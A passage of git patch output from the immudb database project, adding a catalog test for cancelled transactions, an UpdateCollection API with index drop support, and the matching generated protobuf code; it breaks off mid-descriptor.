+ catlog := tx.catalog + + tab, err := catlog.GetTableByName(tableName) + require.NoError(t, err) + require.Equal(t, totalTablesCount, tab.id) + + tab, err = catlog.GetTableByID(7) + require.NoError(t, err) + require.Equal(t, totalTablesCount, tab.id) + + }) + +} From a98db5d03d5a3e08413bdf1e1468b2aa5a8c2d78 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 11 Apr 2023 12:52:42 +0530 Subject: [PATCH 0404/1062] chore: add test case for uncommitted tx not increasing table count --- embedded/sql/catalog_test.go | 38 ++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index afeef3f4c5..55f168d423 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -18,6 +18,7 @@ package sql import ( "context" + "strings" "testing" "github.com/codenotary/immudb/embedded/store" @@ -207,7 +208,7 @@ func TestCatalogTableLength(t *testing.T) { } }) - t.Run("table count should decrease on dropping table", func(t *testing.T) { + t.Run("table count should not decrease on dropping table", func(t *testing.T) { deleteTables := []string{"table1", "table2", "table3"} activeTables := []string{"table4", "table5", "table6"} for _, v := range deleteTables { @@ -239,7 +240,7 @@ func TestCatalogTableLength(t *testing.T) { } }) - t.Run("adding new table should not increase table count", func(t *testing.T) { + t.Run("adding new table should increase table count", func(t *testing.T) { tableName := "table7" _, _, err = engine.Exec( context.Background(), nil, @@ -266,4 +267,37 @@ func TestCatalogTableLength(t *testing.T) { }) + t.Run("cancelling a transaction should not increase table count", func(t *testing.T) { + // create a new transaction + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + sql := ` + CREATE TABLE table10 ( + id INTEGER AUTO_INCREMENT, + PRIMARY KEY(id) + ) + ` + stmts, err := Parse(strings.NewReader(sql)) + require.NoError(t, err) + require.Equal(t, 1, len(stmts)) + stmt := stmts[0] + + // execute the create table statement + stx, err := stmt.execAt(context.Background(), tx, nil) + require.NoError(t, err) + + // cancel the transaction instead of committing it + require.Equal(t, totalTablesCount+1, stx.catalog.tableCount) + require.NoError(t, stx.Cancel()) + + // reload a fresh catalog + tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + defer tx.Cancel() + catlog := tx.catalog + + // table count should not increase + require.Equal(t, totalTablesCount, catlog.tableCount) + }) + } From 200a9361c593a47bfd9ed6139e32c837a391c7a5 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 11 Apr 2023 16:17:33 +0530 Subject: [PATCH 0405/1062] chore: add updatecollection api --- embedded/document/engine.go | 60 ++- embedded/document/engine_test.go | 107 +++- embedded/sql/catalog.go | 28 +- embedded/sql/stmt.go | 56 ++ pkg/api/documentschema/docs.md | 52 ++ pkg/api/documentschema/documentschema.pb.go | 478 ++++++++++++------ .../documentschema/documentschema.pb.gw.go | 81 +++ pkg/api/documentschema/documentschema.proto | 21 + .../documentschema.swagger.json | 60 +++ .../documentschema/documentschema_grpc.pb.go | 36 ++ pkg/database/document_database.go | 29 ++ pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 12 + 13 files changed, 864 insertions(+), 160 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 8d7631de1d..eb1cec9c08 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -126,7 +126,6 @@ type Engine struct { *sql.Engine } -// TODO: Add support for index creation func (d *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]sql.SQLValueType) error { primaryKeys := []string{defaultDocumentIDField} indexKeys := make([]string, 0) @@ -165,11 +164,15 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, id } if len(indexKeys) > 0 { + sqlStmts := make([]sql.SQLStmt, 0) // add indexes to collection + for _, idx := range indexKeys { + sqlStmts = append(sqlStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) + } _, _, err = d.ExecPreparedStmts( context.Background(), nil, - []sql.SQLStmt{sql.NewCreateIndexStmt(collectionName, indexKeys)}, + sqlStmts, nil, ) if err != nil { @@ -662,3 +665,56 @@ func (d *Engine) DeleteCollection(ctx context.Context, collectionName string) er return nil } + +func (d *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]sql.SQLValueType, removeIdxKeys []string) error { + indexKeys := make([]string, 0) + updateCollectionStmts := make([]sql.SQLStmt, 0) + + if len(addIdxKeys) > 0 { + // add index keys + for name, schType := range addIdxKeys { + indexKeys = append(indexKeys, name) + colLen, err := valueTypeDefaultLength(schType) + if err != nil { + return fmt.Errorf("index key specified is not supported: %v", schType) + } + // add indexes as new columns to collection + updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, schType, colLen, false, false))) + } + + // add indexes to collection + for _, idx := range indexKeys { + updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) + } + + _, _, err := d.ExecPreparedStmts( + context.Background(), + nil, + updateCollectionStmts, + nil, + ) + if err != nil { + return err + } + } + + if len(removeIdxKeys) > 0 { + // delete indexes from collection + deleteIdxStmts := make([]sql.SQLStmt, 0) + for _, idx := range removeIdxKeys { + deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) + } + + _, _, err := d.ExecPreparedStmts( + context.Background(), + nil, + deleteIdxStmts, + nil, + ) + if err != nil { + return err + } + } + + return nil +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 8600d3c236..7cf845f1db 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -54,13 +54,18 @@ func TestListCollections(t *testing.T) { require.Equal(t, len(collections), len(collectionList)) for _, indexes := range collectionList { - for _, index := range indexes { - if index.IsPrimary() { - require.Equal(t, 1, len(index.Cols())) + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) } else { - require.Equal(t, 4, len(index.Cols())) + indexKeyCount += len(idx.Cols()) } } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 4, indexKeyCount) } } @@ -80,6 +85,14 @@ func TestCreateCollection(t *testing.T) { ) require.NoError(t, err) + // creating collection with the same name should throw error + err = engine.CreateCollection( + context.Background(), + collectionName, + nil, + ) + require.ErrorIs(t, err, sql.ErrTableAlreadyExists) + catalog, err := engine.Catalog(context.Background(), nil) require.NoError(t, err) @@ -108,7 +121,7 @@ func TestCreateCollection(t *testing.T) { // get collection indexes, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) - require.Equal(t, 2, len(indexes)) + require.Equal(t, 5, len(indexes)) primaryKeyCount := 0 indexKeyCount := 0 @@ -599,3 +612,87 @@ func TestDeleteCollection(t *testing.T) { require.Equal(t, 0, len(collectionList)) }) } + +func TestUpdateCollection(t *testing.T) { + engine := makeEngine(t) + + collectionName := "mycollection" + + t.Run("create collection and add index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]sql.SQLValueType{ + "number": sql.Float64Type, + "name": sql.VarcharType, + "pin": sql.IntegerType, + "country": sql.VarcharType, + }, + ) + require.NoError(t, err) + }) + + t.Run("update collection by deleting indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + nil, + []string{"number", "name"}, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 3, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 2, indexKeyCount) + + }) + + t.Run("update collection by adding indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + map[string]sql.SQLValueType{ + "data1": sql.VarcharType, + "data2": sql.VarcharType, + "data3": sql.VarcharType, + }, + nil, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 6, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 5, indexKeyCount) + }) + +} diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index d1a785cbbc..933b7f9b2b 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -52,6 +52,7 @@ type Table struct { primaryIndex *Index autoIncrementPK bool maxPK int64 + indexCount uint32 } type Index struct { @@ -223,6 +224,14 @@ func (i *Index) ID() uint32 { return i.id } +func (t *Table) GetIndexByName(name string) (*Index, error) { + idx, exists := t.indexesByName[name] + if !exists { + return nil, fmt.Errorf("%w (%s)", ErrNoAvailableIndex, name) + } + return idx, nil +} + func indexName(tableName string, cols []*Column) string { var buf strings.Builder @@ -343,7 +352,7 @@ func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) } index = &Index{ - id: uint32(len(t.indexes)), + id: uint32(t.indexCount), table: t, unique: unique, cols: cols, @@ -368,6 +377,11 @@ func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) t.autoIncrementPK = len(index.cols) == 1 && index.cols[0].autoIncrement } + // increment table count on successfull table creation. + // This ensures that each new table is assigned a unique ID + // that has not been used before. + t.indexCount += 1 + return index, nil } @@ -656,7 +670,7 @@ func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + Filters: []store.FilterFn{store.IgnoreExpired}, } idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) @@ -674,6 +688,16 @@ func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { return err } + // Retrieve the key-value metadata (KVMetadata) of the current version reference (vref). + // If the metadata is not nil and the "Deleted" flag of the metadata is set to true, + // increment the catalog's index count by 1 and continue to the next iteration. + // This implies this is a deleted index and we should not load it. + md := vref.KVMetadata() + if md != nil && md.Deleted() { + table.indexCount += 1 + continue + } + dbID, tableID, indexID, err := unmapIndex(sqlPrefix, mkey) if err != nil { return err diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 7cf53e5c27..d6577056f6 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -440,6 +440,10 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return tx, nil } +func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { + return &AddColumnStmt{table: table, colSpec: colSpec} +} + type AddColumnStmt struct { table string colSpec *ColSpec @@ -4058,3 +4062,55 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return tx, nil } + +func NewDropIndexStmt(table string, indexName string) *DropIndexStmt { + return &DropIndexStmt{table: table, indexName: indexName} +} + +// DropIndexStmt represents a statement to delete a table. +type DropIndexStmt struct { + table string + indexName string +} + +func (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +/* + Exec executes the delete index statement. + If the index exists, it deletes it. Note that this is a soft delete of the index + the data is not deleted, but the metadata is updated. +*/ +func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + if !tx.catalog.ExistTable(stmt.table) { + return nil, ErrTableDoesNotExist + } + + table, err := tx.catalog.GetTableByName(stmt.table) + if err != nil { + return nil, err + } + + col, err := table.GetColumnByName(stmt.indexName) + if err != nil { + return nil, err + } + + // index, err := table.indexesByName[indexName(table.name, cols)] + index, err := table.GetIndexByName(indexName(table.name, []*Column{col})) + if err != nil { + return nil, err + } + + // delete indexes + mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) + err = tx.delete(mappedKey) + if err != nil { + return nil, err + } + + tx.mutatedCatalog = true + + return tx, nil +} diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index b8dff40b9d..efa1d4f063 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -15,6 +15,9 @@ - [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) - [CollectionListRequest](#immudb.documentschema.CollectionListRequest) - [CollectionListResponse](#immudb.documentschema.CollectionListResponse) + - [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) + - [CollectionUpdateRequest.AddIndexesEntry](#immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry) + - [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) - [DocumentAudit](#immudb.documentschema.DocumentAudit) - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) @@ -206,6 +209,54 @@ + + +### CollectionUpdateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| addIndexes | [CollectionUpdateRequest.AddIndexesEntry](#immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry) | repeated | | +| removeIndexes | [string](#string) | repeated | | + + + + + + + + +### CollectionUpdateRequest.AddIndexesEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexOption](#immudb.documentschema.IndexOption) | | | + + + + + + + + +### CollectionUpdateResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [CollectionInformation](#immudb.documentschema.CollectionInformation) | | | + + + + + + ### DocumentAudit @@ -510,6 +561,7 @@ | CollectionGet | [CollectionGetRequest](#immudb.documentschema.CollectionGetRequest) | [CollectionGetResponse](#immudb.documentschema.CollectionGetResponse) | | | CollectionList | [CollectionListRequest](#immudb.documentschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentschema.CollectionListResponse) | | | CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 03bacef6f3..34eb1bc10e 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -1530,6 +1530,116 @@ func (x *Proof) GetName() string { return "" } +type CollectionUpdateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + AddIndexes map[string]*IndexOption `protobuf:"bytes,2,rep,name=addIndexes,proto3" json:"addIndexes,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + RemoveIndexes []string `protobuf:"bytes,3,rep,name=removeIndexes,proto3" json:"removeIndexes,omitempty"` +} + +func (x *CollectionUpdateRequest) Reset() { + *x = CollectionUpdateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[24] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionUpdateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionUpdateRequest) ProtoMessage() {} + +func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[24] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. +func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{24} +} + +func (x *CollectionUpdateRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionUpdateRequest) GetAddIndexes() map[string]*IndexOption { + if x != nil { + return x.AddIndexes + } + return nil +} + +func (x *CollectionUpdateRequest) GetRemoveIndexes() []string { + if x != nil { + return x.RemoveIndexes + } + return nil +} + +type CollectionUpdateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *CollectionInformation `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionUpdateResponse) Reset() { + *x = CollectionUpdateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionUpdateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionUpdateResponse) ProtoMessage() {} + +func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[25] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. +func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{25} +} + +func (x *CollectionUpdateResponse) GetCollection() *CollectionInformation { + if x != nil { + return x.Collection + } + return nil +} + var File_documentschema_proto protoreflect.FileDescriptor var file_documentschema_proto_rawDesc = []byte{ @@ -1721,118 +1831,152 @@ var file_documentschema_proto_rawDesc = []byte{ 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, - 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, - 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, - 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, - 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, - 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, - 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, - 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xa1, 0x0b, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, + 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, + 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, + 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, + 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, + 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, + 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, + 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 